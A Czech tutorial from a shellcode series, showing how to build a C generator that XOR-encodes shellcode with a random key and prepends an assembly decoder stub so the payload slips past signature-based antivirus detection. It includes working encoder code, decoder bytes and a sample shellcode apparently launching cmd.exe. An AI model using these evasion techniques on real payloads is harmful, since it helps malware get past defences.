Tímto dílem pokračuje seriál o shellcodech pokročilými technikami, které se využívají pro vylepšení funkčnosti. Tento díl seznámí čtenáře s tvorbou generátoru zakódovaných shellcodů pomocí operátoru XOR.

Obsah:
——————————————
i. Úvod
ii. Hlavní myšlenka
iii. Píšeme generátor s enkodérem
iv. Dekódovací rutina
v. Hotový statický generátor
——————————————

i. Úvod
Poslední díl úplných základů, které jsou potřeba při vývoji shellcodů, popisoval, jakým způsobem používat funkce uložené v externích DLL knihovnách. Teoreticky se zabýval problémem, proč není vhodné volat funkce bez předchozího načtení požadované knihovny do paměti. Nakonec jsme si vytvořili shellcode, který volá API funkci MessageBoxA z knihovny user32.dll. V tomto dílu si vytvoříme jednoduchý generátor, který zakóduje shellcode pomocí operátoru XOR a náhodně generovaného čísla.

ii. Hlavní myšlenka
Téměř všechny dostupné shellcody v surové podobě jsou efektivně detekovatelné pomocí snadno vytvořených signatur. Signatura je posloupnost bajtů z celého kódu, které se nikdy nemění, a podle které lze snadno identifikovat konkrétní typ kódu. Tomu se snaží většina útočníků zabránit pomocí zakódování shellcodu a připojení dekodéru před samotný shellcode. Při zpracování je pak nejprve shellcode dekódován a následně vykonán. Graficky bychom to mohli znázornit například takhle:

+------------+
|  Dekodér   |
+------------+
| Zakódovaný |
| shellcode  |
+------------+

iii. Píšeme generátor s enkodérem
Když už nyní víme, jak by měl zakódovaný shellcode vypadat, můžeme se vrhnout na návrh samotného enkodéru a dekodéru. Jako vhodné operátory se v tomto případě jeví +, -, XOR apod. Já zvolím operátor XOR, který byl a je hodně populární mezi autory malware pro svou jednoducho implementaci (i když ta je jednoduchá i v ostatních případech 😉 ). Nyní tedy potřebujeme každý bajt vyxorovat nějakou náhodnou hodnotu. Tato hodnota však nemůže být ledajaká. Měla by být v rozsahu 0 až 255 a k tomu se hodí funkce rand(). Pro demonstraci si vezmeme shellcode z druhého dílu seriálu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
int main(){
	unsigned char shellcode[] =
	"\x33\xDB\x68\x65\x78\x30\x30\xC6\x44\x24"
	"\x02\x65\x88\x5C\x24\x03\x68\x63\x6D\x64"
	"\x2E\x8B\xC4\xB3\x01\x53\x50\xBB\x0D\x25"
	"\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\x12\xCB"
	"\x81\x7C\xFF\xD3";
 
	srand(time(NULL));	// inicializace generatoru
 
    // generuje nahodne cislo
	unsigned char random_num = (rand() % 256);
 
	int shellcode_len = strlen(shellcode);
	int i = 0;
 
    // vyxoruj vsechny bajty shellcodu nahodnym cislem
	do{
        shellcode[i] ^= random_num;
        i++;
    }while(shellcode[i] != '\0');
 
	/*
	 * pokud je velikost enkryptovaneho shellcodu
	 * jina nez velikost puvodniho shellcodu,
	 * pak obsahuje NULL bajt/y a je potreba
	 * enkodovat znovu
	 */
	if(shellcode_len != strlen(shellcode)){
	    printf("A NULL byte was found in the shellcode!\n");
        printf("Try again..");
		return 1;
	}
 
	// vytiskni zakodovany shellcode
	for(i = 0; i != strlen(shellcode); i++){
        if((i % 10) == 0)
            printf("\n");
 
        printf("\\x%02x", (unsigned char) shellcode[i]);
    }
 
	return 0;
}

iv. Dekódovací rutina
Nyní, když máme generátor, který zakóduje zadaný shellcode, musíme v assembleru vytvořit dekódovací rutinu. Ta by měla vypadat tak, že zjistí adresu shellcodu, a pak v cyklu znovu vyxoruje celý shellcode právě tím vygenerovaným číslem. Pokud si dobře vzpomínáte: Pokud dvakrát po sobě vyxorujete danou hodnotu náhodným číslem, které není stejné jako tato hodnota, opět získáme původní hodnotu. Pro získání adresy použijeme JMP/CALL trick.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	jmp _SearchShellcode
_DecodeShellcode:
	pop ebx			; adresa shellcodu
	xor ecx, ecx
	xor edx, edx
 
_Cycle:
	; je cl rovno velikosti shellcodu?
	; hodnota 0CCh bude nahrazena skutecnou velikosti shellcodu
	cmp cl, 0CCh
	jz _Shellcode
	; dekoduj dany bajt pomoci daneho cisla
	; hodnota 0CCh bude nahazena skutecnym cislem
	xor byte ptr [ebx + ecx], 0CCh
	inc cl
	jmp _Cycle
_SearchShellcode:
	call _DecodeShellcode
_Shellcode:

Kód nyní zkompilujeme a vytvoříme si z něj dekódovací část shellcode, který připojíme k zakódované části:

1
2
3
4
unsigned char decoder[] =
"\xEB\x12\x5B\x33\xC9\x33\xD2\x80\xF9\xCC"
"\x74\x0D\x80\x34\x19\xCC\xFE\xC1\xEB\xF3"
"\xE8\xE9\xFF\xFF\xFF";

První hexadecimální hodnotu \xCC nahradíme skutečnou velikostí shellcodu a druhou hodnotu \xCC nahradíme hodnotou, kterou jsme enkódovali shellcode. To můžeme realizovat buď staticky nebo dynamicky:

1
2
3
// staticke reseni
decoder[9] = strlen(shellcode)
decoder[15] = (rand() % 256);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//dynamicke resenni
i = 0;
 
while(i != strlen(shellcode)){
    if(decoder[i] == 204 ){ // 204 == "\xCC"
		decoder[i] = strlen(shellcode);
        break;
    }
    i++;
}
 
i = 0;
 
while(i != strlen(shellcode)){
    if(decoder[i] == 204){ // 204 == "\xCC"
        decoder[i] = random_num;
        break;
    }
    i++;
}

v. Hotový statický generátor
A nyní to všechno spojíme dohromady 🙂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
 
int main(){
    unsigned char decoder[] =
    "\xEB\x12\x5B\x33\xC9\x33\xD2\x80\xF9\xCC"
    "\x74\x0D\x80\x34\x19\xCC\xFE\xC1\xEB\xF3"
    "\xE8\xE9\xFF\xFF\xFF";
 
    unsigned char shellcode[] =
    "\x33\xDB\x68\x65\x78\x30\x30\xC6\x44\x24"
    "\x02\x65\x88\x5C\x24\x03\x68\x63\x6D\x64"
    "\x2E\x8B\xC4\xB3\x01\x53\x50\xBB\x0D\x25"
    "\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\x12\xCB"
    "\x81\x7C\xFF\xD3";
 
    int i = 0;
    char *full_shellcode;
    int shellcode_len = strlen(shellcode);
    int decoder_len = strlen(decoder);
 
    srand(time(NULL));
 
    unsigned char random_num = (rand() % 256);
 
    decoder[9] = shellcode_len;
    decoder[15] = random_num;
 
    do{
        shellcode[i] ^= random_num;
        i++;
    }while(shellcode[i] != '\0');
 
    full_shellcode = (char *) malloc(decoder_len + shellcode_len + 1);
 
    memset(full_shellcode, 0, (decoder_len + shellcode_len + 1));
 
    strcpy(full_shellcode, decoder);
    strcat(full_shellcode, shellcode);
 
    if(strlen(full_shellcode) != (decoder_len + shellcode_len)){
        printf("In the shellcode was found null byte!\n");
        printf("Try again..");
        free(full_shellcode);
        return 1;
    }
 
    for(i = 0; i != strlen(full_shellcode); i++){
        if((i % 10) == 0)
            printf("\n");
 
        printf("\\x%02x", (unsigned char) full_shellcode[i]);
    }
 
    free(full_shellcode);
 
    return 0;
}

encoder_1

encoder_2

Jediným nedostatkem, je skutečnost, že dekodér je statický, a proto je stále možné vytvořit detekční signaturu i na tento shellcode (tento problém se dále řeší pomocí polymorfismu, kdy je dekodér generován náhodně). Počet možných různých shellcodů bude roven hodnotě 256 – (počet unikátních hexadecimálních hodnot{opkódů} v shellcodu), což je dostatečné množství. V případě složitějších enkodérů výsledný počet shellcodů narůstá. Rychlou úpravou celého kódu je možné rovnou testovat funkčnost nebo ho případně zapisovat do souboru. Dotvořit si generátor k obrazu svému již nechám na každém čtenáři 🙂

encoder_1